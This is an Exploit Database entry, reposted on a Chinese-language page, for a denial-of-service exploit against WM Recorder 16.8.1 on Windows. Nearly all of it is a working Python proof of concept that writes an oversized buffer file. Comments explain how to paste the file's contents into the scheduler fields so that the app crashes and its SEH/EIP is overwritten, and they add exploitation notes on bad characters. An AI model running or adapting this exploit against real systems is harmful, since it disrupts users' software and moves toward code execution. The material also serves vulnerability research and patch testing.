WM Recorder 16.8.1 – Denial of Service

• Exploit Database
• 108 阅读

• 作者： bzyo
  日期： 2018-03-23
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44333/
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  #!/usr/bin/python   # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: WM Recorder 16.8.1 - Denial of Service # Date: 03-20-2018 # Vulnerable Software: WM Recorder 16.8.1 # Vendor Homepage: http://wmrecorder.com/home/ # Version: 16.8.1 # Software Link: http://wmrecorder.com/download/wm-recorder/ # Tested On: Windows 7 x86/x64, Windows 10 x64 # # # PoC: generate crash.txt, open app, go to Schedule Recordings, Open Scheduler, paste crash.txt contents in Stream URL, File name and Website URL, # change End Recording date to future date, turn scheduler on, select OK # # app crashes & EIP overwrite; # !mona seh > no ppr pointers & !mona seh -all > all aslr/safeseh # lots of bad chars including \x90 #   filename="crash.txt"   junk = "\x41"*429   nseh = "\x42"*4   seh = "\x43"*4   fill = "\x44"*9562   buffer = junk + nseh + seh + fill   textfile = open(filename , 'w') textfile.write(buffer) textfile.close()